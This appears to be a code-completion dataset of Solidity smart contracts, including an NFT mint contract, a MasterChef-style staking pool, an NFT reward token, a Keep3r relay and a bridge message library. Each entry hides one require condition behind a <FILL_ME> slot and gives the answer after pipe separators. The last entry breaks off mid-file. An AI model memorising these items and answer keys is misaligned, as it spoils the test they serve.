address t1 = 0xe8E8561d8a4965633af42B1A99F60ED81411A9B4;
address t2 = 0x92B66F71ffC366b15a37Bd9C5D9aEFd753624a52;
// 8888 Pandas in total
constructor(string memory baseURI) ERC721("test", "tst") {
}
function sealTokenURI() external onlyOwner {
}
function mint(uint256 num) public payable {
uint256 supply = totalSupply();
require( !_paused, "Sale paused" );
require( num < 19, "You can mint a maximum of 18 Paradise Pandas" );
require(<FILL_ME>)
require( msg.value >= _price * num, "Ether sent is not correct" );
for(uint256 i; i < num; i++){
_safeMint( msg.sender, supply + i );
}
}
function privateMint(uint256 num) public payable {
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
// In case Eth fluctuates too much
function setPrice(uint256 _newPrice) public onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function getPrice() public view returns (uint256){
}
function giveAway(address _to, uint256 _amount) external onlyOwner() {
}
function pause(bool val) public onlyOwner {
}
function pausePrivate(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function isWhitelisted(address _from) public view returns (bool) {
}
function updateWhitelist(address[] calldata whitelist) public onlyOwner {
}
fallback() external payable { }
receive() external payable { }
}
| supply+num<8889-_reserved,"Exceeds maximum Paradise Panda supply" | 297,453 | supply+num<8889-_reserved |
"Private Sale paused" | contract Test is ERC721Enumerable, Ownable {
using Strings for uint256;
string _baseTokenURI;
uint256 private _reserved = 88;
uint256 private _price = 0.08 ether;
bool public _paused = true;
bool public _pausedPrivate = true;
bool public sealedTokenURI;
mapping(address => bool) private _privateSaleWhitelist;
// withdraw addresses
address t1 = 0xe8E8561d8a4965633af42B1A99F60ED81411A9B4;
address t2 = 0x92B66F71ffC366b15a37Bd9C5D9aEFd753624a52;
// 8888 Pandas in total
constructor(string memory baseURI) ERC721("test", "tst") {
}
function sealTokenURI() external onlyOwner {
}
function mint(uint256 num) public payable {
}
function privateMint(uint256 num) public payable {
uint256 supply = totalSupply();
require(<FILL_ME>)
require( num < 19, "You can mint a maximum of 18 Paradise Pandas" );
require( supply + num < 8889 - _reserved, "Exceeds maximum Paradise Panda supply" );
require( msg.value >= _price * num, "Ether sent is not correct" );
require( isWhitelisted(msg.sender) == true, "Not Whitelisted for private sale" );
_privateSaleWhitelist[_msgSender()] = false;
for(uint256 i; i < num; i++){
_safeMint( msg.sender, supply + i );
}
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
// In case Eth fluctuates too much
function setPrice(uint256 _newPrice) public onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function getPrice() public view returns (uint256){
}
function giveAway(address _to, uint256 _amount) external onlyOwner() {
}
function pause(bool val) public onlyOwner {
}
function pausePrivate(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function isWhitelisted(address _from) public view returns (bool) {
}
function updateWhitelist(address[] calldata whitelist) public onlyOwner {
}
fallback() external payable { }
receive() external payable { }
}
| !_pausedPrivate,"Private Sale paused" | 297,453 | !_pausedPrivate |
"baseURI is sealed" | contract Test is ERC721Enumerable, Ownable {
using Strings for uint256;
string _baseTokenURI;
uint256 private _reserved = 88;
uint256 private _price = 0.08 ether;
bool public _paused = true;
bool public _pausedPrivate = true;
bool public sealedTokenURI;
mapping(address => bool) private _privateSaleWhitelist;
// withdraw addresses
address t1 = 0xe8E8561d8a4965633af42B1A99F60ED81411A9B4;
address t2 = 0x92B66F71ffC366b15a37Bd9C5D9aEFd753624a52;
// 8888 Pandas in total
constructor(string memory baseURI) ERC721("test", "tst") {
}
function sealTokenURI() external onlyOwner {
}
function mint(uint256 num) public payable {
}
function privateMint(uint256 num) public payable {
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
// In case Eth fluctuates too much
function setPrice(uint256 _newPrice) public onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
require(<FILL_ME>)
_baseTokenURI = baseURI;
}
function getPrice() public view returns (uint256){
}
function giveAway(address _to, uint256 _amount) external onlyOwner() {
}
function pause(bool val) public onlyOwner {
}
function pausePrivate(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function isWhitelisted(address _from) public view returns (bool) {
}
function updateWhitelist(address[] calldata whitelist) public onlyOwner {
}
fallback() external payable { }
receive() external payable { }
}
| !sealedTokenURI,"baseURI is sealed" | 297,453 | !sealedTokenURI |
null | contract Test is ERC721Enumerable, Ownable {
using Strings for uint256;
string _baseTokenURI;
uint256 private _reserved = 88;
uint256 private _price = 0.08 ether;
bool public _paused = true;
bool public _pausedPrivate = true;
bool public sealedTokenURI;
mapping(address => bool) private _privateSaleWhitelist;
// withdraw addresses
address t1 = 0xe8E8561d8a4965633af42B1A99F60ED81411A9B4;
address t2 = 0x92B66F71ffC366b15a37Bd9C5D9aEFd753624a52;
// 8888 Pandas in total
constructor(string memory baseURI) ERC721("test", "tst") {
}
function sealTokenURI() external onlyOwner {
}
function mint(uint256 num) public payable {
}
function privateMint(uint256 num) public payable {
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
// In case Eth fluctuates too much
function setPrice(uint256 _newPrice) public onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function getPrice() public view returns (uint256){
}
function giveAway(address _to, uint256 _amount) external onlyOwner() {
}
function pause(bool val) public onlyOwner {
}
function pausePrivate(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
uint256 _amount1 = (address(this).balance * 99) / 100;
require(<FILL_ME>)
uint256 _amount2 = address(this).balance;
require(payable(t2).send(_amount2));
}
function isWhitelisted(address _from) public view returns (bool) {
}
function updateWhitelist(address[] calldata whitelist) public onlyOwner {
}
fallback() external payable { }
receive() external payable { }
}
| payable(t1).send(_amount1) | 297,453 | payable(t1).send(_amount1) |
null | contract Test is ERC721Enumerable, Ownable {
using Strings for uint256;
string _baseTokenURI;
uint256 private _reserved = 88;
uint256 private _price = 0.08 ether;
bool public _paused = true;
bool public _pausedPrivate = true;
bool public sealedTokenURI;
mapping(address => bool) private _privateSaleWhitelist;
// withdraw addresses
address t1 = 0xe8E8561d8a4965633af42B1A99F60ED81411A9B4;
address t2 = 0x92B66F71ffC366b15a37Bd9C5D9aEFd753624a52;
// 8888 Pandas in total
constructor(string memory baseURI) ERC721("test", "tst") {
}
function sealTokenURI() external onlyOwner {
}
function mint(uint256 num) public payable {
}
function privateMint(uint256 num) public payable {
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
// In case Eth fluctuates too much
function setPrice(uint256 _newPrice) public onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function getPrice() public view returns (uint256){
}
function giveAway(address _to, uint256 _amount) external onlyOwner() {
}
function pause(bool val) public onlyOwner {
}
function pausePrivate(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
uint256 _amount1 = (address(this).balance * 99) / 100;
require(payable(t1).send(_amount1));
uint256 _amount2 = address(this).balance;
require(<FILL_ME>)
}
function isWhitelisted(address _from) public view returns (bool) {
}
function updateWhitelist(address[] calldata whitelist) public onlyOwner {
}
fallback() external payable { }
receive() external payable { }
}
| payable(t2).send(_amount2) | 297,453 | payable(t2).send(_amount2) |
'ColorChef: New LP Token Address already exists in pool' | pragma solidity 0.6.12;
interface IMigratorChef {
// Perform LP token migration from legacy UniswapV2 to ColorSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// ColorSwap must mint EXACTLY the same amount of ColorSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// ColorChef is the master of Color. He can make Color and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once COMB is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract ColorChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of COMBs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accColorPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accColorPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block.
uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs.
uint256 accColorPerShare; // Accumulated SUSHIs per share, times 1e12. See below.
}
// The SUSHI TOKEN!
ColorToken public color;
// Dev address.
address public devaddr;
// Block number when bonus SUSHI period ends.
uint256 public bonusEndBlock;
// SUSHI tokens created per block.
uint256 public colorPerBlock;
// Bonus muliplier for early color makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
mapping(address => bool) public lpTokenExistsInPool;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SUSHI mining starts.
uint256 public startBlock = 0;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
modifier miningStarted() {
}
constructor(
ColorToken _color,
uint256 _colorPerBlock
) public {
}
function poolLength() external view returns (uint256) {
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner miningStarted {
require(<FILL_ME>)
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accColorPerShare: 0
}));
lpTokenExistsInPool[address(_lpToken)] = true;
}
function updateLpTokenExists(address _lpTokenAddr, bool _isExists)
external
onlyOwner
{
}
// Update the given pool's SUSHI allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner miningStarted {
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
}
// View function to see pending SUSHIs on frontend.
function pendingColor(uint256 _pid, address _user) external view returns (uint256) {
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public miningStarted {
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public miningStarted {
}
// Deposit LP tokens to ColorChef for COMB allocation.
function deposit(uint256 _pid, uint256 _amount) public {
}
// Withdraw LP tokens from ColorChef.
function withdraw(uint256 _pid, uint256 _amount) public {
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
}
// Safe color transfer function, just in case if rounding error causes pool to not have enough SUSHIs.
function safeColorTransfer(address _to, uint256 _amount) internal {
}
// Start mining
function start(uint256 _bonusEndBlock) public onlyOwner {
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
}
}
| !lpTokenExistsInPool[address(_lpToken)],'ColorChef: New LP Token Address already exists in pool' | 297,458 | !lpTokenExistsInPool[address(_lpToken)] |
'ColorChef: New LP Token Address already exists in pool' | pragma solidity 0.6.12;
interface IMigratorChef {
// Perform LP token migration from legacy UniswapV2 to ColorSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// ColorSwap must mint EXACTLY the same amount of ColorSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// ColorChef is the master of Color. He can make Color and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once COMB is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract ColorChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of COMBs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accColorPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accColorPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block.
uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs.
uint256 accColorPerShare; // Accumulated SUSHIs per share, times 1e12. See below.
}
// The SUSHI TOKEN!
ColorToken public color;
// Dev address.
address public devaddr;
// Block number when bonus SUSHI period ends.
uint256 public bonusEndBlock;
// SUSHI tokens created per block.
uint256 public colorPerBlock;
// Bonus muliplier for early color makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
mapping(address => bool) public lpTokenExistsInPool;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SUSHI mining starts.
uint256 public startBlock = 0;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
modifier miningStarted() {
}
constructor(
ColorToken _color,
uint256 _colorPerBlock
) public {
}
function poolLength() external view returns (uint256) {
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner miningStarted {
}
function updateLpTokenExists(address _lpTokenAddr, bool _isExists)
external
onlyOwner
{
}
// Update the given pool's SUSHI allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner miningStarted {
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(<FILL_ME>)
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
lpTokenExistsInPool[address(newLpToken)] = true;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
}
// View function to see pending SUSHIs on frontend.
function pendingColor(uint256 _pid, address _user) external view returns (uint256) {
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public miningStarted {
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public miningStarted {
}
// Deposit LP tokens to ColorChef for COMB allocation.
function deposit(uint256 _pid, uint256 _amount) public {
}
// Withdraw LP tokens from ColorChef.
function withdraw(uint256 _pid, uint256 _amount) public {
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
}
// Safe color transfer function, just in case if rounding error causes pool to not have enough SUSHIs.
function safeColorTransfer(address _to, uint256 _amount) internal {
}
// Start mining
function start(uint256 _bonusEndBlock) public onlyOwner {
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
}
}
| !lpTokenExistsInPool[address(newLpToken)],'ColorChef: New LP Token Address already exists in pool' | 297,458 | !lpTokenExistsInPool[address(newLpToken)] |
"Cannot add any more contracts." | pragma solidity ^0.8.0;
//By: @RockyFantana
//With inspiration from CryptoHoots + @White_Oak_Kong
interface IMarineMarauderz {
function balanceOf(address _user) external view returns(uint256);
function ownerOf(uint256 _tokenId) external view returns(address);
function amountMinted() external view returns (uint256);
}
contract Chum is ERC20("Chum", "CHUM"), Ownable {
struct ContractSettings {
uint256 baseRate;
uint256 initIssuance;
uint256 start;
uint256 end;
}
mapping(address => ContractSettings) public contractSettings;
mapping(address => bool) public trustedContracts;
uint256 constant public MAX_BASE_RATE = 10 ether;
uint256 constant public MAX_INITIAL_ISSUANCE = 200 ether;
// Prevents new contracts from being added or changes to disbursement if permanently locked
bool public isLocked = false;
mapping(bytes32 => uint256) public lastClaim;
event RewardPaid(address indexed user, uint256 reward);
constructor() {}
/**
- needs onlyOwner flag
- needs to check that the baseRate and initIssuance are not greater than the max settings
- require that contract isn't locked
*/
function addContract(address _contractAddress, uint256 _baseRate, uint256 _initIssuance) public onlyOwner {
require(_baseRate <= MAX_BASE_RATE && _initIssuance <= MAX_INITIAL_ISSUANCE, "baseRate or initIssuance exceeds max value.");
require(<FILL_ME>)
// add to trustedContracts
trustedContracts[_contractAddress] = true;
// initialize contractSettings
contractSettings[_contractAddress] = ContractSettings({
baseRate: _baseRate,
initIssuance: _initIssuance,
start: block.timestamp,
end: type(uint256).max
});
}
/**
- sets an end date for when rewards officially end
*/
function setEndDateForContract(address _contractAddress, uint256 _endTime) public onlyOwner {
}
function claimReward(address _contractAddress, uint256 _tokenId) public returns (uint256) {
}
function claimRewards(address _contractAddress, uint256[] calldata _tokenIds) public returns (uint256) {
}
function permanentlyLock() public onlyOwner {
}
function getUnclaimedRewardAmount(address _contractAddress, uint256 _tokenId) public view returns (uint256) {
}
function getUnclaimedRewardsAmount(address _contractAddress, uint256[] calldata _tokenIds) public view returns (uint256) {
}
function getTotalUnclaimedRewardsForContract(address _contractAddress) public view returns (uint256) {
}
function getLastClaimedTime(address _contractAddress, uint256 _tokenId) public view returns (uint256) {
}
function computeAccumulatedReward(uint256 _lastClaimDate, uint256 _baseRate, uint256 currentTime) internal pure returns (uint256) {
}
function computeUnclaimedReward(address _contractAddress, uint256 _tokenId) internal view returns (uint256) {
}
}
| !isLocked,"Cannot add any more contracts." | 297,501 | !isLocked |
"Not a trusted contract" | pragma solidity ^0.8.0;
//By: @RockyFantana
//With inspiration from CryptoHoots + @White_Oak_Kong
interface IMarineMarauderz {
function balanceOf(address _user) external view returns(uint256);
function ownerOf(uint256 _tokenId) external view returns(address);
function amountMinted() external view returns (uint256);
}
contract Chum is ERC20("Chum", "CHUM"), Ownable {
struct ContractSettings {
uint256 baseRate;
uint256 initIssuance;
uint256 start;
uint256 end;
}
mapping(address => ContractSettings) public contractSettings;
mapping(address => bool) public trustedContracts;
uint256 constant public MAX_BASE_RATE = 10 ether;
uint256 constant public MAX_INITIAL_ISSUANCE = 200 ether;
// Prevents new contracts from being added or changes to disbursement if permanently locked
bool public isLocked = false;
mapping(bytes32 => uint256) public lastClaim;
event RewardPaid(address indexed user, uint256 reward);
constructor() {}
/**
- needs onlyOwner flag
- needs to check that the baseRate and initIssuance are not greater than the max settings
- require that contract isn't locked
*/
function addContract(address _contractAddress, uint256 _baseRate, uint256 _initIssuance) public onlyOwner {
}
/**
- sets an end date for when rewards officially end
*/
function setEndDateForContract(address _contractAddress, uint256 _endTime) public onlyOwner {
require(!isLocked, "Cannot modify end dates after lock");
require(<FILL_ME>)
contractSettings[_contractAddress].end = _endTime;
}
function claimReward(address _contractAddress, uint256 _tokenId) public returns (uint256) {
}
function claimRewards(address _contractAddress, uint256[] calldata _tokenIds) public returns (uint256) {
}
function permanentlyLock() public onlyOwner {
}
function getUnclaimedRewardAmount(address _contractAddress, uint256 _tokenId) public view returns (uint256) {
}
function getUnclaimedRewardsAmount(address _contractAddress, uint256[] calldata _tokenIds) public view returns (uint256) {
}
function getTotalUnclaimedRewardsForContract(address _contractAddress) public view returns (uint256) {
}
function getLastClaimedTime(address _contractAddress, uint256 _tokenId) public view returns (uint256) {
}
function computeAccumulatedReward(uint256 _lastClaimDate, uint256 _baseRate, uint256 currentTime) internal pure returns (uint256) {
}
function computeUnclaimedReward(address _contractAddress, uint256 _tokenId) internal view returns (uint256) {
}
}
| trustedContracts[_contractAddress],"Not a trusted contract" | 297,501 | trustedContracts[_contractAddress] |
"Time for claiming on that contract has expired." | pragma solidity ^0.8.0;
//By: @RockyFantana
//With inspiration from CryptoHoots + @White_Oak_Kong
interface IMarineMarauderz {
function balanceOf(address _user) external view returns(uint256);
function ownerOf(uint256 _tokenId) external view returns(address);
function amountMinted() external view returns (uint256);
}
contract Chum is ERC20("Chum", "CHUM"), Ownable {
struct ContractSettings {
uint256 baseRate;
uint256 initIssuance;
uint256 start;
uint256 end;
}
mapping(address => ContractSettings) public contractSettings;
mapping(address => bool) public trustedContracts;
uint256 constant public MAX_BASE_RATE = 10 ether;
uint256 constant public MAX_INITIAL_ISSUANCE = 200 ether;
// Prevents new contracts from being added or changes to disbursement if permanently locked
bool public isLocked = false;
mapping(bytes32 => uint256) public lastClaim;
event RewardPaid(address indexed user, uint256 reward);
constructor() {}
/**
- needs onlyOwner flag
- needs to check that the baseRate and initIssuance are not greater than the max settings
- require that contract isn't locked
*/
function addContract(address _contractAddress, uint256 _baseRate, uint256 _initIssuance) public onlyOwner {
}
/**
- sets an end date for when rewards officially end
*/
function setEndDateForContract(address _contractAddress, uint256 _endTime) public onlyOwner {
}
function claimReward(address _contractAddress, uint256 _tokenId) public returns (uint256) {
require(trustedContracts[_contractAddress], "Not a trusted contract.");
require(<FILL_ME>)
require(IMarineMarauderz(_contractAddress).ownerOf(_tokenId) == msg.sender, "Caller does not own the token being claimed for.");
// compute chum to be claimed
uint256 unclaimedReward = computeUnclaimedReward(_contractAddress, _tokenId);
// update the lastClaim date for tokenId and contractAddress
bytes32 lastClaimKey = keccak256(abi.encode(_contractAddress, _tokenId));
lastClaim[lastClaimKey] = block.timestamp;
// mint the tokens and distribute to msg.sender
_mint(msg.sender, unclaimedReward);
emit RewardPaid(msg.sender, unclaimedReward);
return unclaimedReward;
}
function claimRewards(address _contractAddress, uint256[] calldata _tokenIds) public returns (uint256) {
}
function permanentlyLock() public onlyOwner {
}
function getUnclaimedRewardAmount(address _contractAddress, uint256 _tokenId) public view returns (uint256) {
}
function getUnclaimedRewardsAmount(address _contractAddress, uint256[] calldata _tokenIds) public view returns (uint256) {
}
function getTotalUnclaimedRewardsForContract(address _contractAddress) public view returns (uint256) {
}
function getLastClaimedTime(address _contractAddress, uint256 _tokenId) public view returns (uint256) {
}
function computeAccumulatedReward(uint256 _lastClaimDate, uint256 _baseRate, uint256 currentTime) internal pure returns (uint256) {
}
function computeUnclaimedReward(address _contractAddress, uint256 _tokenId) internal view returns (uint256) {
}
}
| contractSettings[_contractAddress].end>block.timestamp,"Time for claiming on that contract has expired." | 297,501 | contractSettings[_contractAddress].end>block.timestamp |
"Caller does not own the token being claimed for." | pragma solidity ^0.8.0;
//By: @RockyFantana
//With inspiration from CryptoHoots + @White_Oak_Kong
interface IMarineMarauderz {
function balanceOf(address _user) external view returns(uint256);
function ownerOf(uint256 _tokenId) external view returns(address);
function amountMinted() external view returns (uint256);
}
contract Chum is ERC20("Chum", "CHUM"), Ownable {
struct ContractSettings {
uint256 baseRate;
uint256 initIssuance;
uint256 start;
uint256 end;
}
mapping(address => ContractSettings) public contractSettings;
mapping(address => bool) public trustedContracts;
uint256 constant public MAX_BASE_RATE = 10 ether;
uint256 constant public MAX_INITIAL_ISSUANCE = 200 ether;
// Prevents new contracts from being added or changes to disbursement if permanently locked
bool public isLocked = false;
mapping(bytes32 => uint256) public lastClaim;
event RewardPaid(address indexed user, uint256 reward);
constructor() {}
/**
- needs onlyOwner flag
- needs to check that the baseRate and initIssuance are not greater than the max settings
- require that contract isn't locked
*/
function addContract(address _contractAddress, uint256 _baseRate, uint256 _initIssuance) public onlyOwner {
}
/**
- sets an end date for when rewards officially end
*/
function setEndDateForContract(address _contractAddress, uint256 _endTime) public onlyOwner {
}
function claimReward(address _contractAddress, uint256 _tokenId) public returns (uint256) {
require(trustedContracts[_contractAddress], "Not a trusted contract.");
require(contractSettings[_contractAddress].end > block.timestamp, "Time for claiming on that contract has expired.");
require(<FILL_ME>)
// compute chum to be claimed
uint256 unclaimedReward = computeUnclaimedReward(_contractAddress, _tokenId);
// update the lastClaim date for tokenId and contractAddress
bytes32 lastClaimKey = keccak256(abi.encode(_contractAddress, _tokenId));
lastClaim[lastClaimKey] = block.timestamp;
// mint the tokens and distribute to msg.sender
_mint(msg.sender, unclaimedReward);
emit RewardPaid(msg.sender, unclaimedReward);
return unclaimedReward;
}
function claimRewards(address _contractAddress, uint256[] calldata _tokenIds) public returns (uint256) {
}
function permanentlyLock() public onlyOwner {
}
function getUnclaimedRewardAmount(address _contractAddress, uint256 _tokenId) public view returns (uint256) {
}
function getUnclaimedRewardsAmount(address _contractAddress, uint256[] calldata _tokenIds) public view returns (uint256) {
}
function getTotalUnclaimedRewardsForContract(address _contractAddress) public view returns (uint256) {
}
function getLastClaimedTime(address _contractAddress, uint256 _tokenId) public view returns (uint256) {
}
function computeAccumulatedReward(uint256 _lastClaimDate, uint256 _baseRate, uint256 currentTime) internal pure returns (uint256) {
}
function computeUnclaimedReward(address _contractAddress, uint256 _tokenId) internal view returns (uint256) {
}
}
| IMarineMarauderz(_contractAddress).ownerOf(_tokenId)==msg.sender,"Caller does not own the token being claimed for." | 297,501 | IMarineMarauderz(_contractAddress).ownerOf(_tokenId)==msg.sender |
"::isKeeper: keeper is not registered" | import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '../interfaces/Keep3r/IKeep3rV1Mini.sol';
import '../interfaces/ICoreFlashArb.sol';
contract CoreFlashArbRelay3rOptimizedV2 is Ownable{
modifier upkeep() {
require(<FILL_ME>)
_;
RL3R.worked(msg.sender);
}
IKeep3rV1Mini public RL3R;
ICoreFlashArb public CoreArb;
IERC20 public CoreToken;
//Init interfaces with addresses
constructor (address token,address corearb,address coretoken) public {
}
//Set new contract address incase core devs change the flash arb contract
function setCoreArbAddress(address newContract) public onlyOwner {
}
function workable() public view returns (bool){
}
function profitableCount() public view returns (uint){
}
function profitableStrats () public view returns (uint[] memory){
}
function workBatch(uint[] memory profitable) public upkeep{
}
}
| RL3R.isKeeper(msg.sender),"::isKeeper: keeper is not registered" | 297,527 | RL3R.isKeeper(msg.sender) |
null | pragma solidity 0.4.24;
library Message {
function addressArrayContains(address[] array, address value) internal pure returns (bool) {
}
// layout of message :: bytes:
// offset 0: 32 bytes :: uint256 - message length
// offset 32: 20 bytes :: address - recipient address
// offset 52: 32 bytes :: uint256 - value
// offset 84: 32 bytes :: bytes32 - transaction hash
// offset 116: 20 bytes :: address - contract address to prevent double spending
// mload always reads 32 bytes.
// so we can and have to start reading recipient at offset 20 instead of 32.
// if we were to read at 32 the address would contain part of value and be corrupted.
// when reading from offset 20 mload will read 12 bytes (most of them zeros) followed
// by the 20 recipient address bytes and correctly convert it into an address.
// this saves some storage/gas over the alternative solution
// which is padding address to 32 bytes and reading recipient at offset 32.
// for more details see discussion in:
// https://github.com/paritytech/parity-bridge/issues/61
function parseMessage(bytes message)
internal
pure
returns (address recipient, uint256 amount, bytes32 txHash, address contractAddress)
{
require(<FILL_ME>)
assembly {
recipient := mload(add(message, 20))
amount := mload(add(message, 52))
txHash := mload(add(message, 84))
contractAddress := mload(add(message, 104))
}
}
function isMessageValid(bytes _msg) internal pure returns (bool) {
}
function requiredMessageLength() internal pure returns (uint256) {
}
function recoverAddressFromSignedMessage(bytes signature, bytes message, bool isAMBMessage)
internal
pure
returns (address)
{
}
function hashMessage(bytes message, bool isAMBMessage) internal pure returns (bytes32) {
}
/**
* @dev Validates provided signatures, only first requiredSignatures() number
* of signatures are going to be validated, these signatures should be from different validators.
* @param _message bytes message used to generate signatures
* @param _signatures bytes blob with signatures to be validated.
* First byte X is a number of signatures in a blob,
* next X bytes are v components of signatures,
* next 32 * X bytes are r components of signatures,
* next 32 * X bytes are s components of signatures.
* @param _validatorContract contract, which conforms to the IBridgeValidators interface,
* where info about current validators and required signatures is stored.
* @param isAMBMessage true if _message is an AMB message with arbitrary length.
*/
function hasEnoughValidSignatures(
bytes _message,
bytes _signatures,
IBridgeValidators _validatorContract,
bool isAMBMessage
) internal view {
}
function uintToString(uint256 i) internal pure returns (string) {
}
}
| isMessageValid(message) | 297,558 | isMessageValid(message) |
null | pragma solidity 0.4.24;
library Message {
function addressArrayContains(address[] array, address value) internal pure returns (bool) {
}
// layout of message :: bytes:
// offset 0: 32 bytes :: uint256 - message length
// offset 32: 20 bytes :: address - recipient address
